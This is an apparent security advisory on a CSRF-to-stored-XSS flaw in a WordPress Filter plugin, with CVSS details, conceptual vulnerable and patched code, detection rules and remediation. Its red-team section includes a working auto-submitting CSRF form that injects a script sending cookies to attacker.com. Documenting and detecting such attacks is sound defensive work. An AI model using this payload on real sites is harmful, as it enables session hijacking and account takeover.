CVE-2024-54391

Executive Summary

CVE-2024-54391 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress Filter plugin by mattwalters, affecting versions through 1.4.1. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying filter settings or injecting malicious scripts. The CSRF vector enables Stored Cross-Site Scripting (XSS), meaning an attacker can inject persistent JavaScript payloads that execute in the context of other users viewing the affected WordPress site. The vulnerability has a CVSS score of 7.1 (High), with low attack complexity and no privileges required, but user interaction is necessary. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. As a WordPress plugin issue, the vulnerability is specific to the WordPress ecosystem and does not involve server-level components like Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or manually downloaded it are at risk. Since no patch is available, the supply chain risk is elevated—users must rely on the vendor (mattwalters) to release a fix. Organizations should monitor the plugin’s update channel and consider removing the plugin if no patch is provided within a reasonable timeframe.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: Low (A:L) – Limited service disruption.

The threat level is High due to the potential for Stored XSS, which can lead to session hijacking, defacement, or malware distribution. The CSRF component amplifies the risk by allowing attackers to perform actions without direct authentication.

Deep Dive & Mechanics

The vulnerability resides in the WordPress Filter plugin, which provides functionality for filtering and displaying content. The plugin fails to implement proper CSRF tokens on state-changing requests (e.g., saving filter configurations). An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress administrator, triggers a forged request to the plugin’s admin endpoints. This request can modify plugin settings or inject malicious JavaScript into filter fields.

The Stored XSS aspect occurs because the plugin does not sanitize or escape user-supplied input in filter parameters. Once an attacker injects a payload (e.g., <script>alert('XSS')</script>) via CSRF, it is stored in the database and executed when any user (including other admins) views the affected filter page. This allows the attacker to bypass same-origin policy and execute arbitrary JavaScript in the context of the victim’s session.

The attack flow:

1. Attacker identifies a vulnerable WordPress site running the plugin.
2. Attacker crafts a CSRF exploit that includes a malicious filter value containing JavaScript.
3. Attacker lures an authenticated admin to click a link or visit a page hosting the exploit.
4. The admin’s browser sends a forged POST request to the plugin’s settings page, saving the malicious filter.
5. The injected script is stored and executed when any user views the filter, enabling further attacks (e.g., cookie theft, redirection).

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, based on the vulnerability type, the following code patterns are likely present:

Vulnerable Code (Conceptual):

// In admin settings page
function save_filter_settings() {
    if (isset($_POST['filter_value'])) {
        update_option('wp_filter_value', $_POST['filter_value']);
    }
}
// No CSRF token check, no input sanitization

Patched Code (Expected):

function save_filter_settings() {
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'wp_filter_save')) {
        wp_die('CSRF validation failed.');
    }
    if (isset($_POST['filter_value'])) {
        $sanitized_value = sanitize_text_field($_POST['filter_value']);
        update_option('wp_filter_value', $sanitized_value);
    }
}

The patch would add a nonce check for CSRF protection and sanitize input using WordPress functions like sanitize_text_field() or wp_kses_post() to prevent XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the plugin installed and an authenticated admin session.
• Ability to host a malicious HTML page or send a crafted email.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin.php?page=wp-filter-settings).
2. Craft a CSRF payload that submits a POST request with a malicious filter value.
3. Host the payload on an attacker-controlled server or embed in an email.

Example CSRF Payload (HTML):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=wp-filter-settings" method="POST">
    <input type="hidden" name="filter_value" value="<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Execution:

• Send the HTML file to the victim admin via email or social engineering.
• Once the admin opens the file, the form auto-submits, injecting the XSS payload.

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin.php?page=wp-filter-settings without a valid nonce.
• Look for suspicious filter values containing <script> tags or event handlers (e.g., onload, onerror).
• Use web application firewalls (WAF) to block requests with JavaScript in filter parameters.

Hunting:

• Search WordPress database for stored XSS payloads in the wp_options table (option name wp_filter_value).
• Review server logs for referrer headers indicating external sites triggering admin actions.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin.php?page=wp-filter-settings with suspicious parameters.
  • Outbound connections to attacker-controlled domains from the WordPress server.
• Host:
  • Modified wp_filter_value option in the database containing JavaScript.
  • Unexpected admin user creation or role changes (secondary impact).
• File:
  • No specific file changes expected; the attack is database-driven.

Detection Engineering

YARA Rule

rule CVE_2024_54391_CSRF_XSS {
    meta:
        description = "Detects CSRF-based Stored XSS in WordPress Filter plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54391"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $filter_endpoint = "page=wp-filter-settings"
    condition:
        $filter_endpoint and $xss_payload
}

Sigma Rule

title: CVE-2024-54391 - WordPress Filter CSRF to Stored XSS
id: 8a3f7c2e-5b1d-4a9f-8c6e-3d2f1a0b9e8c
status: experimental
description: Detects POST requests to WordPress Filter plugin settings with potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "page=wp-filter-settings"
    keywords:
        - "<script"
        - "onload="
        - "onerror="
    condition: selection and keywords
falsepositives:
    - Legitimate admin actions with benign script tags (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54391 - WordPress Filter CSRF to Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"page=wp-filter-settings"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in filter parameters.
3. Educate administrators about phishing risks and the importance of verifying URLs before clicking.

Long-Term Fix:

• The vendor (mattwalters) must release an update that adds CSRF nonce verification and input sanitization.
• Users should monitor the WordPress plugin repository for updates and apply them immediately.

Workarounds:

• Use a security plugin (e.g., Wordfence) to add CSRF protection and XSS filtering.
• Restrict access to the plugin’s admin page via IP whitelisting or .htaccess rules.

Valters IT